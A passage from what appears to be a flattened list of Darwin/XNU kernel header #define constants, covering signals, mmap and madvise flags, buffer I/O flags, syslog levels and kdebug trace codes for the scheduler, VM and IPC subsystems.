SF_NOUNLINK 0x00100000 #define SF_FIRMLINK 0x00800000 #define SF_DATALESS 0x40000000 #define EF_MAY_SHARE_BLOCKS 0x00000001 #define EF_NO_XATTRS 0x00000002 #define EF_IS_SYNC_ROOT 0x00000004 #define EF_IS_PURGEABLE 0x00000008 #define EF_IS_SPARSE 0x00000010 #define EF_IS_SYNTHETIC 0x00000020 #define EF_SHARES_ALL_BLOCKS 0x00000040 #define MBUF_COPYALL 1000000000 #define __DARWIN_NSIG 32 #define SIGHUP 1 #define SIGINT 2 #define SIGQUIT 3 #define SIGILL 4 #define SIGTRAP 5 #define SIGABRT 6 #define SIGPOLL 7 #define SIGEMT 7 #define SIGFPE 8 #define SIGKILL 9 #define SIGBUS 10 #define SIGSEGV 11 #define SIGSYS 12 #define SIGPIPE 13 #define SIGALRM 14 #define SIGTERM 15 #define SIGURG 16 #define SIGSTOP 17 #define SIGTSTP 18 #define SIGCONT 19 #define SIGCHLD 20 #define SIGTTIN 21 #define SIGTTOU 22 #define SIGIO 23 #define SIGXCPU 24 #define SIGXFSZ 25 #define SIGVTALRM 26 #define SIGPROF 27 #define SIGWINCH 28 #define SIGINFO 29 #define SIGUSR1 30 #define SIGUSR2 31 #define SIGEV_NONE 0 #define SIGEV_SIGNAL 1 #define SIGEV_THREAD 3 #define ILL_NOOP 0 #define ILL_ILLOPC 1 #define ILL_ILLTRP 2 #define ILL_PRVOPC 3 #define ILL_ILLOPN 4 #define ILL_ILLADR 5 #define ILL_PRVREG 6 #define ILL_COPROC 7 #define ILL_BADSTK 8 #define FPE_NOOP 0 #define FPE_FLTDIV 1 #define FPE_FLTOVF 2 #define FPE_FLTUND 3 #define FPE_FLTRES 4 #define FPE_FLTINV 5 #define FPE_FLTSUB 6 #define FPE_INTDIV 7 #define FPE_INTOVF 8 #define SEGV_NOOP 0 #define SEGV_MAPERR 1 #define SEGV_ACCERR 2 #define BUS_NOOP 0 #define BUS_ADRALN 1 #define BUS_ADRERR 2 #define BUS_OBJERR 3 #define TRAP_BRKPT 1 #define TRAP_TRACE 2 #define CLD_NOOP 0 #define CLD_EXITED 1 #define CLD_KILLED 2 #define CLD_DUMPED 3 #define CLD_TRAPPED 4 #define CLD_STOPPED 5 #define CLD_CONTINUED 6 #define POLL_IN 1 #define POLL_OUT 2 #define POLL_MSG 3 #define POLL_ERR 4 #define POLL_PRI 5 #define POLL_HUP 6 #define SA_ONSTACK 0x0001 #define SA_RESTART 0x0002 #define SA_RESETHAND 0x0004 #define SA_NOCLDSTOP 0x0008 #define SA_NODEFER 0x0010 #define SA_NOCLDWAIT 0x0020 #define SA_SIGINFO 0x0040 #define SA_USERTRAMP 0x0100 #define SA_64REGSET 0x0200 #define SIG_BLOCK 1 #define SIG_UNBLOCK 2 #define SIG_SETMASK 3 #define SI_USER 0x10001 #define SI_QUEUE 0x10002 #define SI_TIMER 0x10003 #define SI_ASYNCIO 0x10004 #define SI_MESGQ 0x10005 #define SS_ONSTACK 0x0001 #define SS_DISABLE 0x0004 #define MINSIGSTKSZ 32768 #define SIGSTKSZ 131072 #define __DARWIN_MAXNAMLEN 255 #define __DARWIN_MAXPATHLEN 1024 #define DT_UNKNOWN 0 #define DT_FIFO 1 #define DT_CHR 2 #define DT_DIR 4 #define DT_BLK 6 #define DT_REG 8 #define DT_LNK 10 #define DT_SOCK 12 #define DT_WHT 14 #define POSIX_SPAWN_RESETIDS 0x0001 #define POSIX_SPAWN_SETPGROUP 0x0002 #define POSIX_SPAWN_SETSIGDEF 0x0004 #define POSIX_SPAWN_SETSIGMASK 0x0008 #define POSIX_SPAWN_SETSCHEDPARAM 0x0010 #define POSIX_SPAWN_SETSCHEDULER 0x0020 #define POSIX_SPAWN_SETEXEC 0x0040 #define POSIX_SPAWN_START_SUSPENDED 0x0080 #define POSIX_SPAWN_SETSID 0x0400 #define POSIX_SPAWN_CLOEXEC_DEFAULT 0x4000 #define _POSIX_SPAWN_RESLIDE 0x0800 #define POSIX_SPAWN_PCONTROL_NONE 0x0000 #define POSIX_SPAWN_PCONTROL_THROTTLE 0x0001 #define POSIX_SPAWN_PCONTROL_SUSPEND 0x0002 #define POSIX_SPAWN_PCONTROL_KILL 0x0003 #define POSIX_SPAWN_PANIC_ON_CRASH 0x1 #define POSIX_SPAWN_PANIC_ON_NON_ZERO_EXIT 0x2 #define POSIX_SPAWN_PANIC_ON_EXIT 0x4 #define POSIX_SPAWN_PANIC_ON_SPAWN_FAIL 0x8 #define PROT_NONE 0x00 #define PROT_READ 0x01 #define PROT_WRITE 0x02 #define PROT_EXEC 0x04 #define MAP_SHARED 0x0001 #define MAP_PRIVATE 0x0002 #define MAP_FIXED 0x0010 #define MAP_RENAME 0x0020 #define MAP_NORESERVE 0x0040 #define MAP_RESERVED0080 0x0080 #define MAP_NOEXTEND 0x0100 #define MAP_HASSEMAPHORE 0x0200 #define MAP_NOCACHE 0x0400 #define MAP_JIT 0x0800 #define MAP_FILE 0x0000 #define MAP_ANON 0x1000 #define MAP_RESILIENT_CODESIGN 0x2000 #define MAP_RESILIENT_MEDIA 0x4000 #define MAP_32BIT 0x8000 #define MAP_TRANSLATED_ALLOW_EXECUTE 0x20000 #define MAP_UNIX03 0x40000 #define MAP_TPRO 0x80000 #define MCL_CURRENT 0x0001 #define MCL_FUTURE 0x0002 #define MS_ASYNC 0x0001 #define MS_INVALIDATE 0x0002 #define MS_SYNC 0x0010 #define MS_KILLPAGES 0x0004 #define MS_DEACTIVATE 0x0008 #define POSIX_MADV_NORMAL 0 #define POSIX_MADV_RANDOM 1 #define POSIX_MADV_SEQUENTIAL 2 #define POSIX_MADV_WILLNEED 3 #define POSIX_MADV_DONTNEED 4 #define MADV_FREE 5 #define MADV_ZERO_WIRED_PAGES 6 #define MADV_FREE_REUSABLE 7 #define MADV_FREE_REUSE 8 #define MADV_CAN_REUSE 9 #define MADV_PAGEOUT 10 #define MADV_ZERO 11 #define MINCORE_INCORE 0x1 #define MINCORE_REFERENCED 0x2 #define MINCORE_MODIFIED 0x4 #define MINCORE_REFERENCED_OTHER 0x8 #define MINCORE_MODIFIED_OTHER 0x10 #define MINCORE_PAGED_OUT 0x20 #define MINCORE_COPIED 0x40 #define MINCORE_ANONYMOUS 0x80 #define B_WRITE 0x00000000 #define B_READ 0x00000001 #define B_ASYNC 0x00000002 #define B_NOCACHE 0x00000004 #define B_DELWRI 0x00000008 #define B_LOCKED 0x00000010 #define B_PHYS 0x00000020 #define B_CLUSTER 0x00000040 #define B_PAGEIO 0x00000080 #define B_META 0x00000100 #define B_RAW 0x00000200 #define B_FUA 0x00000400 #define B_PASSIVE 0x00000800 #define B_IOSTREAMING 0x00001000 #define B_THROTTLED_IO 0x00002000 #define B_ENCRYPTED_IO 0x00004000 #define B_STATICCONTENT 0x00008000 #define BUF_WAIT 0x01 #define BUF_WRITE_DATA 0x0001 #define BUF_SKIP_META 0x0002 #define BUF_INVALIDATE_LOCKED 0x0004 #define BUF_SKIP_NONLOCKED 0x01 #define BUF_SKIP_LOCKED 0x02 #define BUF_SCAN_CLEAN 0x04 #define BUF_SCAN_DIRTY 0x08 #define BUF_NOTIFY_BUSY 0x10 #define BUF_RETURNED 0 #define BUF_RETURNED_DONE 1 #define BUF_CLAIMED 2 #define BUF_CLAIMED_DONE 3 #define BLK_READ 0x01 #define BLK_WRITE 0x02 #define BLK_META 0x10 #define BLK_ONLYVALID 0x80000000 #define LOG_EMERG 0 #define LOG_ALERT 1 #define LOG_CRIT 2 #define LOG_ERR 3 #define LOG_WARNING 4 #define LOG_NOTICE 5 #define LOG_INFO 6 #define LOG_DEBUG 7 #define LOG_PRIMASK 0x07 #define INTERNAL_NOPRI 0x10 #define LOG_NFACILITIES 25 #define LOG_FACMASK 0x03f8 #define LOG_PID 0x01 #define LOG_CONS 0x02 #define LOG_ODELAY 0x04 #define LOG_NDELAY 0x08 #define LOG_NOWAIT 0x10 #define LOG_PERROR 0x20 #define CRF_NOMEMBERD 0x00000001 #define CRF_MAC_ENFORCE 0x00000002 #define XUCRED_VERSION 0 #define DK_FEATURE_BARRIER 0x00000002 #define DK_FEATURE_PRIORITY 0x00000004 #define DK_FEATURE_UNMAP 0x00000010 #define DK_SYNCHRONIZE_OPTION_BARRIER 0x00000002 #define DK_CORESTORAGE_PIN_YOUR_METADATA 0x00000001 #define DK_CORESTORAGE_ENABLE_HOTFILES 0x00000002 #define DK_CORESTORAGE_PIN_YOUR_SWAPFILE 0x00000004 #define DK_PROVISION_TYPE_MAPPED 0x00 #define DK_PROVISION_TYPE_DEALLOCATED 0x01 #define DK_PROVISION_TYPE_ANCHORED 0x02 #define DK_LOCATION_INTERNAL 0x00000000 #define DK_LOCATION_EXTERNAL 0x00000001 #define DK_FEATURE_FORCE_UNIT_ACCESS 0x00000001 #define DK_ENCRYPTION_TYPE_AES_CBC 1 #define DK_ENCRYPTION_TYPE_AES_XEX 2 #define DK_ENCRYPTION_TYPE_AES_XTS 3 #define DK_TIER_MASK 0xC0 #define DK_TIER_SHIFT 6 #define SOL_LOCAL 0 #define LOCAL_PEERCRED 0x001 #define LOCAL_PEERPID 0x002 #define LOCAL_PEEREPID 0x003 #define LOCAL_PEERUUID 0x004 #define LOCAL_PEEREUUID 0x005 #define LOCAL_PEERTOKEN 0x006 #define _SYS_TIMEX_H_ 1 #define NTP_API 4 #define MINSEC 256 #define MAXSEC 2048 #define MAXTC 10 #define MOD_OFFSET 0x0001 #define MOD_FREQUENCY 0x0002 #define MOD_MAXERROR 0x0004 #define MOD_ESTERROR 0x0008 #define MOD_STATUS 0x0010 #define MOD_TIMECONST 0x0020 #define MOD_PPSMAX 0x0040 #define MOD_TAI 0x0080 #define MOD_MICRO 0x1000 #define MOD_NANO 0x2000 #define MOD_CLKB 0x4000 #define MOD_CLKA 0x8000 #define STA_PLL 0x0001 #define STA_PPSFREQ 0x0002 #define STA_PPSTIME 0x0004 #define STA_FLL 0x0008 #define STA_INS 0x0010 #define STA_DEL 0x0020 #define STA_UNSYNC 0x0040 #define STA_FREQHOLD 0x0080 #define STA_PPSSIGNAL 0x0100 #define STA_PPSJITTER 0x0200 #define STA_PPSWANDER 0x0400 #define STA_PPSERROR 0x0800 #define STA_CLOCKERR 0x1000 #define STA_NANO 0x2000 #define STA_MODE 0x4000 #define STA_CLK 0x8000 #define TIME_OK 0 #define TIME_INS 1 #define TIME_DEL 2 #define TIME_OOP 3 #define TIME_WAIT 4 #define TIME_ERROR 5 #define MT_FREE 0 #define MT_DATA 1 #define MT_HEADER 2 #define MT_SOCKET 3 #define MT_PCB 4 #define MT_RTABLE 5 #define MT_HTABLE 6 #define MT_ATABLE 7 #define MT_SONAME 8 #define MT_SOOPTS 10 #define MT_FTABLE 11 #define MT_RIGHTS 12 #define MT_IFADDR 13 #define MT_CONTROL 14 #define MT_OOBDATA 15 #define MT_TAG 16 #define MT_MAX 32 #define MAX_MBUF_CNAME 15 #define MCS_DISABLED 0 #define MCS_ONLINE 1 #define MCS_PURGING 2 #define MCS_OFFLINE 3 #define MSG_NOERROR 0010000 #define MSGSSZ 8 #define MSGSEG 2048 #define MSGMNB 2048 #define MSGMNI 40 #define MSGTQL 40 #define MSG_LOCKED 001000 #define DBG_MACH 1 #define DBG_NETWORK 2 #define DBG_FSYSTEM 3 #define DBG_BSD 4 #define DBG_IOKIT 5 #define DBG_DRIVERS 6 #define DBG_TRACE 7 #define DBG_DLIL 8 #define DBG_PTHREAD 9 #define DBG_CORESTORAGE 10 #define DBG_CG 11 #define DBG_MONOTONIC 12 #define DBG_MISC 20 #define DBG_SECURITY 30 #define DBG_DYLD 31 #define DBG_QT 32 #define DBG_APPS 33 #define DBG_LAUNCHD 34 #define DBG_SILICON 35 #define DBG_PERF 37 #define DBG_IMPORTANCE 38 #define DBG_BANK 40 #define DBG_XPC 41 #define DBG_ATM 42 #define DBG_ARIADNE 43 #define DBG_DAEMON 44 #define DBG_ENERGYTRACE 45 #define DBG_DISPATCH 46 #define DBG_IMG 49 #define DBG_UMALLOC 51 #define DBG_TURNSTILE 53 #define DBG_AUDIO 54 #define DBG_MIG 255 #define DBG_MACH_EXCP_KTRAP_x86 0x02 #define DBG_MACH_EXCP_DFLT 0x03 #define DBG_MACH_EXCP_SYNC_ARM 0x03 #define DBG_MACH_EXCP_IFLT 0x04 #define DBG_MACH_EXCP_SERR_ARM 0x04 #define DBG_MACH_EXCP_INTR 0x05 #define DBG_MACH_EXCP_ALNG 0x06 #define DBG_MACH_EXCP_UTRAP_x86 0x07 #define DBG_MACH_EXCP_FP 0x08 #define DBG_MACH_EXCP_DECI 0x09 #define DBG_MACH_CHUD 0x0A #define DBG_MACH_SIGNPOST 0x0A #define DBG_MACH_EXCP_SC 0x0C #define DBG_MACH_EXCP_TRACE 0x0D #define DBG_MACH_EXCP_EMUL 0x0E #define DBG_MACH_IHDLR 0x10 #define DBG_MACH_IPC 0x20 #define DBG_MACH_RESOURCE 0x25 #define DBG_MACH_EXCLAVES 0x2A #define DBG_MACH_EXCLAVES_SCHEDULER 0x2B #define DBG_MACH_EPOCH_SYNC 0x2C #define DBG_MACH_VM 0x30 #define DBG_MACH_LEAKS 0x31 #define DBG_MACH_WORKINGSET 0x32 #define DBG_MACH_SCHED 0x40 #define DBG_MACH_MSGID_INVALID 0x50 #define DBG_MACH_LOCKS 0x60 #define DBG_MACH_PMAP 0x70 #define DBG_MACH_CLOCK 0x80 #define DBG_MACH_MP 0x90 #define DBG_MACH_VM_PRESSURE 0xA0 #define DBG_MACH_STACKSHOT 0xA1 #define DBG_MACH_SFI 0xA2 #define DBG_MACH_ENERGY_PERF 0xA3 #define DBG_MACH_SYSDIAGNOSE 0xA4 #define DBG_MACH_ZALLOC 0xA5 #define DBG_MACH_THREAD_GROUP 0xA6 #define DBG_MACH_COALITION 0xA7 #define DBG_MACH_SHAREDREGION 0xA8 #define DBG_MACH_SCHED_CLUTCH 0xA9 #define DBG_MACH_IO 0xAA #define DBG_MACH_WORKGROUP 0xAB #define DBG_MACH_HV 0xAC #define DBG_MACH_KCOV 0xAD #define DBG_MACH_MACHDEP_EXCP_SC_x86 0xAE #define DBG_MACH_MACHDEP_EXCP_SC_ARM 0xAF #define DBG_MACH_VM_RECLAIM 0xB0 #define DBC_MACH_IO_MMIO_READ 0x1 #define DBC_MACH_IO_MMIO_WRITE 0x2 #define DBC_MACH_IO_PHYS_READ 0x3 #define DBC_MACH_IO_PHYS_WRITE 0x4 #define DBC_MACH_IO_PORTIO_READ 0x5 #define DBC_MACH_IO_PORTIO_WRITE 0x6 #define DBG_INTR_TYPE_UNKNOWN 0x0 #define DBG_INTR_TYPE_IPI 0x1 #define DBG_INTR_TYPE_TIMER 0x2 #define DBG_INTR_TYPE_OTHER 0x3 #define DBG_INTR_TYPE_PMI 0x4 #define DBG_INTR_TYPE_RSVD1 0x5 #define MACH_SCHED 0x0 #define MACH_STACK_ATTACH 0x1 #define MACH_STACK_HANDOFF 0x2 #define MACH_CALL_CONT 0x3 #define MACH_CALLOUT 0x4 #define MACH_STACK_DETACH 0x5 #define MACH_MAKE_RUNNABLE 0x6 #define MACH_PROMOTE 0x7 #define MACH_DEMOTE 0x8 #define MACH_IDLE 0x9 #define MACH_STACK_DEPTH 0xa #define MACH_MOVED 0xb #define MACH_PSET_LOAD_AVERAGE 0xc #define MACH_AMP_DEBUG 0xd #define MACH_FAILSAFE 0xe #define MACH_BLOCK 0xf #define MACH_WAIT 0x10 #define MACH_GET_URGENCY 0x14 #define MACH_URGENCY 0x15 #define MACH_REDISPATCH 0x16 #define MACH_REMOTE_AST 0x17 #define MACH_SCHED_CHOOSE_PROCESSOR 0x18 #define MACH_DEEP_IDLE 0x19 #define MACH_CPU_THROTTLE_DISABLE 0x1b #define MACH_RW_PROMOTE 0x1c #define MACH_RW_DEMOTE 0x1d #define MACH_SCHED_MAINTENANCE 0x1f #define MACH_DISPATCH 0x20 #define MACH_QUANTUM_HANDOFF 0x21 #define MACH_SCHED_THREAD_SWITCH 0x23 #define MACH_SCHED_SMT_BALANCE 0x24 #define MACH_REMOTE_DEFERRED_AST 0x25 #define MACH_REMOTE_CANCEL_AST 0x26 #define MACH_SCHED_CHANGE_PRIORITY 0x27 #define MACH_SCHED_UPDATE_REC_CORES 0x28 #define MACH_STACK_WAIT 0x29 #define MACH_THREAD_BIND 0x2a #define MACH_WAITQ_PROMOTE 0x2b #define MACH_WAITQ_DEMOTE 0x2c #define MACH_SCHED_LOAD 0x2d #define MACH_REC_CORES_FAILSAFE 0x2e #define MACH_SCHED_QUANTUM_EXPIRED 0x2f #define MACH_EXEC_PROMOTE 0x30 #define MACH_EXEC_DEMOTE 0x31 #define MACH_AMP_SIGNAL_SPILL 0x32 #define MACH_AMP_STEAL 0x33 #define MACH_SCHED_LOAD_EFFECTIVE 0x34 #define MACH_QUIESCENT_COUNTER 0x38 #define MACH_TURNSTILE_USER_CHANGE 0x39 #define MACH_AMP_RECOMMENDATION_CHANGE 0x3a #define MACH_AMP_PERFCTL_POLICY_CHANGE 0x3b #define MACH_TURNSTILE_KERNEL_CHANGE 0x40 #define MACH_SCHED_WI_AUTO_JOIN 0x41 #define MACH_SCHED_WI_DEFERRED_FINISH 0x42 #define MACH_SET_RT_DEADLINE 0x43 #define MACH_CANCEL_RT_DEADLINE 0x44 #define MACH_RT_SIGNAL_SPILL 0x45 #define MACH_RT_STEAL 0x46 #define MACH_PENDING_AST_URGENT 0x47 #define MACH_SCHED_THREAD_SELECT 0x48 #define MACH_SCHED_NEXT_PROCESSOR 0x49 #define MACH_PSET_AVG_EXEC_TIME 0x50 #define MACH_SUSPEND_USERSPACE 0x51 #define MACH_PREEMPTION_EXPIRED 0x52 #define MACH_FLOOR_PROMOTE 0x53 #define MACH_FLOOR_DEMOTE 0x54 #define MACH_INT_MASKED_EXPIRED 0x55 #define MACH_INT_HANDLED_EXPIRED 0x56 #define MACH_UPDATE_POWERED_CORES 0x58 #define MACH_MODE_DEMOTE_THROTTLED 0x59 #define MACH_MODE_DEMOTE_FAILSAFE 0x5a #define MACH_MODE_DEMOTE_RT_DISALLOWED 0x5b #define MACH_MODE_UNDEMOTE_THROTTLED 0x5c #define MACH_MODE_UNDEMOTE_FAILSAFE 0x5d #define MACH_MODE_UNDEMOTE_RT_DISALLOWED 0x5e #define MACH_INT_MASKED_RESET 0x5f #define MACH_RT_DISALLOWED_WORK_INTERVAL 0x60 #define MACH_SCHED_WI_EXTERNAL_WAKEUP 0x61 #define MACH_SCHED_AST_CHECK 0x62 #define MACH_SCHED_PREEMPT_TIMER_ACTIVE 0x63 #define MACH_PROCESSOR_SHUTDOWN 0x64 #define MACH_SCHED_CLUTCH_ROOT_BUCKET_STATE 0x0 #define MACH_SCHED_CLUTCH_TG_BUCKET_STATE 0x1 #define MACH_SCHED_CLUTCH_THREAD_SELECT 0x2 #define MACH_SCHED_CLUTCH_THREAD_STATE 0x3 #define MACH_SCHED_CLUTCH_TG_BUCKET_PRI 0x4 #define MACH_SCHED_EDGE_CLUSTER_OVERLOAD 0x5 #define MACH_SCHED_EDGE_STEAL 0x6 #define MACH_SCHED_EDGE_REBAL_RUNNABLE 0x7 #define MACH_SCHED_EDGE_REBAL_RUNNING 0x8 #define MACH_SCHED_EDGE_SHOULD_YIELD 0x9 #define MACH_SCHED_CLUTCH_THR_COUNT 0xa #define MACH_SCHED_EDGE_LOAD_AVG 0xb #define MACH_SCHED_EDGE_CLUSTER_SHARED_LOAD 0xc #define MACH_SCHED_EDGE_RSRC_HEAVY_THREAD 0xd #define MACH_SCHED_EDGE_SHARED_RSRC_MIGRATE 0xe #define WORKGROUP_INTERVAL_CREATE 0x0 #define WORKGROUP_INTERVAL_DESTROY 0x1 #define WORKGROUP_INTERVAL_CHANGE 0x2 #define WORKGROUP_INTERVAL_START 0x3 #define WORKGROUP_INTERVAL_UPDATE 0x4 #define WORKGROUP_INTERVAL_FINISH 0x5 #define WORKGROUP_INTERVAL_SET_WORKLOAD_ID 0x6 #define WORKGROUP_INTERVAL_SET_WORKLOAD_ID_NAME 0x7 #define KCOV_STKSZ_THRESHOLD_ABOVE 0x0 #define KCOV_STKSZ_THRESHOLD_BELOW 0x1 #define DBG_VM_VNODE_PAGEOUT 0x001 #define DBG_VM_FAULT_INTERNAL 0x002 #define DBG_VM_PURGEABLE_TOKEN_ADD 0x040 #define DBG_VM_PURGEABLE_TOKEN_DELETE 0x041 #define DBG_VM_PURGEABLE_TOKEN_RIPEN 0x042 #define DBG_VM_PURGEABLE_OBJECT_ADD 0x048 #define DBG_VM_PURGEABLE_OBJECT_REMOVE 0x049 #define DBG_VM_PURGEABLE_OBJECT_PURGE 0x04a #define DBG_VM_PURGEABLE_OBJECT_PURGE_ALL 0x04b #define DBG_VM_PURGEABLE_OBJECT_PURGE_ONE 0x04c #define DBG_VM_PURGEABLE_OBJECT_PURGE_LOOP 0x04e #define DBG_VM_MAP_PARTIAL_REAP 0x054 #define DBG_VM_MAP_WILLNEED 0x055 #define DBG_VM_FAULT_CHECK_ZFDELAY 0x100 #define DBG_VM_FAULT_COWDELAY 0x101 #define DBG_VM_FAULT_ZFDELAY 0x102 #define DBG_VM_FAULT_COMPRESSORDELAY 0x103 #define DBG_VM_PAGEOUT_SCAN 0x104 #define DBG_VM_PAGEOUT_BALANCE 0x105 #define DBG_VM_PAGEOUT_FREELIST 0x106 #define DBG_VM_PAGEOUT_PURGEONE 0x107 #define DBG_VM_PAGEOUT_CACHE_EVICT 0x108 #define DBG_VM_PAGEOUT_THREAD_BLOCK 0x109 #define DBG_VM_PAGEOUT_JETSAM 0x10A #define DBG_VM_INFO1 0x10B #define DBG_VM_INFO2 0x10C #define DBG_VM_INFO3 0x10D #define DBG_VM_INFO4 0x10E #define DBG_VM_INFO5 0x10F #define DBG_VM_INFO6 0x110 #define DBG_VM_INFO7 0x111 #define DBG_VM_INFO8 0x112 #define DBG_VM_INFO9 0x113 #define DBG_VM_INFO10 0x114 #define DBG_VM_UPL_PAGE_WAIT 0x120 #define DBG_VM_IOPL_PAGE_WAIT 0x121 #define DBG_VM_PAGE_WAIT_BLOCK 0x122 #define DBG_VM_PAGE_SLEEP 0x123 #define DBG_VM_PAGE_EXPEDITE 0x124 #define DBG_VM_PAGE_EXPEDITE_NO_MEMORY 0x125 #define DBG_VM_PAGE_GRAB 0x126 #define DBG_VM_PAGE_RELEASE 0x127 #define DBG_VM_COMPRESSOR_COMPACT_AND_SWAP 0x128 #define DBG_VM_COMPRESSOR_DELAYED_COMPACT 0x129 #define DBG_VM_OBJECT_SLEEP 0x12a #define DBG_VM_PAGE_WAKEUP 0x12b #define DBG_VM_PAGE_WAKEUP_DONE 0x12c #define DBG_VM_PRESSURE_EVENT 0x130 #define DBG_VM_EXECVE 0x131 #define DBG_VM_WAKEUP_COMPACTOR_SWAPPER 0x132 #define DBG_VM_UPL_REQUEST 0x133 #define DBG_VM_IOPL_REQUEST 0x134 #define DBG_VM_KERN_REQUEST 0x135 #define DBG_VM_DATA_WRITE 0x140 #define DBG_VM_PRESSURE_LEVEL_CHANGE 0x141 #define DBG_VM_PHYS_WRITE_ACCT 0x142 #define DBG_VM_MAP_LOOKUP_ENTRY_FAILURE 0x143 #define VM_DISCONNECT_ALL_PAGE_MAPPINGS 0x00 #define VM_DISCONNECT_TASK_PAGE_MAPPINGS 0x01 #define VM_REAL_FAULT_ADDR_INTERNAL 0x02 #define VM_REAL_FAULT_ADDR_PURGABLE 0x03 #define VM_REAL_FAULT_ADDR_EXTERNAL 0x04 #define VM_REAL_FAULT_ADDR_SHAREDCACHE 0x05 #define VM_REAL_FAULT_FAST 0x06 #define VM_REAL_FAULT_SLOW 0x07 #define VM_MAP_LOOKUP_OBJECT 0x08 #define DBG_ZERO_FILL_FAULT 0x01 #define DBG_PAGEIN_FAULT 0x02 #define DBG_COW_FAULT 0x03 #define DBG_CACHE_HIT_FAULT 0x04 #define DBG_NZF_PAGE_FAULT 0x05 #define DBG_GUARD_FAULT 0x06 #define DBG_PAGEINV_FAULT 0x07 #define DBG_PAGEIND_FAULT 0x08 #define DBG_COMPRESSOR_FAULT 0x09 #define DBG_COMPRESSOR_SWAPIN_FAULT 0x0a #define DBG_COR_FAULT 0x0b #define MACH_TASK_SUSPEND 0x0 #define MACH_TASK_RESUME 0x1 #define MACH_THREAD_SET_VOUCHER 0x2 #define MACH_IPC_MSG_SEND 0x3 #define MACH_IPC_MSG_RECV 0x4 #define MACH_IPC_MSG_RECV_VOUCHER_REFUSED 0x5 #define MACH_IPC_KMSG_FREE 0x6 #define MACH_IPC_VOUCHER_CREATE 0x7 #define MACH_IPC_VOUCHER_CREATE_ATTR_DATA 0x8 #define MACH_IPC_VOUCHER_DESTROY 0x9 #define MACH_IPC_KMSG_INFO 0xa #define MACH_IPC_KMSG_LINK 0xb #define MACH_IPC_PORT_ENTRY_MODIFY 0xc #define MACH_IPC_DESTROY_GUARDED_DESC 0xd #define MACH_THREAD_SUSPEND 0xe #define MACH_THREAD_RESUME 0xf #define MACH_EXCLAVES_SWITCH 0x0 #define MACH_EXCLAVES_XNUPROXY 0x1 #define MACH_EXCLAVES_RPC 0x2 #define MACH_EXCLAVES_UPCALL 0x3 #define MACH_EXCLAVES_BOOT_TASK 0x4 #define MACH_EXCLAVES_SCHEDULER_YIELD 0x0 #define MACH_EXCLAVES_SCHEDULER_SPAWNED 0x1 #define MACH_EXCLAVES_SCHEDULER_TERMINATED 0x2 #define MACH_EXCLAVES_SCHEDULER_WAIT 0x3 #define MACH_EXCLAVES_SCHEDULER_WAKE 0x4 #define MACH_EXCLAVES_SCHEDULER_SUSPENDED 0x5 #define MACH_EXCLAVES_SCHEDULER_RESUMED 0x6 #define MACH_EXCLAVES_SCHEDULER_INTERRUPTED 0x7 #define MACH_EXCLAVES_SCHEDULER_NOTHING_SCHEDULED 0x8 #define MACH_EXCLAVES_SCHEDULER_ALL_EXCLAVES_BOOTED 0x9 #define MACH_EXCLAVES_SCHEDULER_EARLY_ALLOC 0xa #define MACH_EPOCH_SYNC_WAIT_STALE 0x0 #define MACH_EPOCH_SYNC_WAIT 0x1 #define MACH_EPOCH_SYNC_WAKE_NO_WAITERS 0x2 #define MACH_EPOCH_SYNC_WAKE_ONE 0x3 #define MACH_EPOCH_SYNC_WAKE_ALL 0x4 #define MACH_EPOCH_SYNC_WAKE_ONE_WITH_OWNER 0x5 #define MACH_EPOCH_SYNC_WAKE_THREAD 0x6 #define MACH_THREAD_GROUP_NEW 0x0 #define MACH_THREAD_GROUP_FREE 0x1 #define MACH_THREAD_GROUP_SET 0x2 #define MACH_THREAD_GROUP_NAME 0x3 #define MACH_THREAD_GROUP_NAME_FREE 0x4 #define MACH_THREAD_GROUP_FLAGS 0x5 #define MACH_THREAD_GROUP_BLOCK 0x6 #define MACH_THREAD_GROUP_PREADOPT 0x7 #define MACH_THREAD_GROUP_PREADOPT_NEXTTIME 0x8 #define MACH_THREAD_GROUP_PREADOPT_CLEAR 0x9 #define MACH_THREAD_GROUP_PREADOPT_NA 0xa #define MACH_COALITION_NEW 0x0 #define MACH_COALITION_FREE 0x1 #define MACH_COALITION_ADOPT 0x2 #define MACH_COALITION_REMOVE 0x3 #define MACH_COALITION_THREAD_GROUP_SET 0x4 #define PMAP__CREATE 0x0 #define PMAP__DESTROY 0x1 #define PMAP__PROTECT 0x2 #define PMAP__PAGE_PROTECT 0x3 #define PMAP__ENTER 0x4 #define PMAP__REMOVE 0x5 #define PMAP__NEST 0x6 #define PMAP__UNNEST 0x7 #define PMAP__FLUSH_TLBS 0x8 #define PMAP__UPDATE_INTERRUPT 0x9 #define PMAP__ATTRIBUTE_CLEAR 0xa #define PMAP__REUSABLE 0xb #define PMAP__QUERY_RESIDENT 0xc #define PMAP__FLUSH_KERN_TLBS 0xd #define PMAP__FLUSH_DELAYED_TLBS 0xe #define PMAP__FLUSH_TLBS_TO 0xf #define PMAP__FLUSH_EPT 0x10 #define PMAP__FAST_FAULT 0x11 #define PMAP__SWITCH 0x12 #define PMAP__TTE 0x13 #define PMAP__SWITCH_USER_TTB 0x14 #define PMAP__UPDATE_CACHING 0x15 #define PMAP__ATTRIBUTE_CLEAR_RANGE 0x16 #define PMAP__CLEAR_USER_TTB 0x17 #define PMAP__IOMMU_INIT 0x18 #define PMAP__IOMMU_IOVMALLOC 0x19 #define PMAP__IOMMU_IOVMFREE 0x1a #define PMAP__IOMMU_MAP 0x1b #define PMAP__IOMMU_UNMAP 0x1c #define PMAP__IOMMU_IOCTL 0x1d #define PMAP__IOMMU_GRANT_PAGE 0x1e #define PMAP__BATCH_UPDATE_CACHING 0x1f #define PMAP__COLLECT_CACHE_OPS 0x20 #define MACH_EPOCH_CHANGE 0x0 #define MACH_BRIDGE_RCV_TS 0x1 #define MACH_BRIDGE_REMOTE_TIME 0x2 #define MACH_BRIDGE_RESET_TS 0x3 #define MACH_BRIDGE_TS_PARAMS 0x4 #define MACH_BRIDGE_SKIP_TS 0x5 #define MACH_BRIDGE_TS_MISMATCH 0x6 #define MACH_BRIDGE_OBSV_RATE 0x7 #define MICROSTACKSHOT_RECORD 0x0 #define MICROSTACKSHOT_GATHER 0x1 #define STACKSHOT_RECORD 0x2 #define STACKSHOT_RECORD_SHORT 0x3 #define STACKSHOT_KERN_RECORD 0x4 #define SYSDIAGNOSE_NOTIFY_USER 0x0 #define SYSDIAGNOSE_FULL 0x1 #define SYSDIAGNOSE_STACKSHOT 0x2 #define SYSDIAGNOSE_TAILSPIN 0x3 #define SFI_SET_WINDOW 0x0 #define SFI_CANCEL_WINDOW 0x1 #define SFI_SET_CLASS_OFFTIME 0x2 #define SFI_CANCEL_CLASS_OFFTIME 0x3 #define SFI_THREAD_DEFER 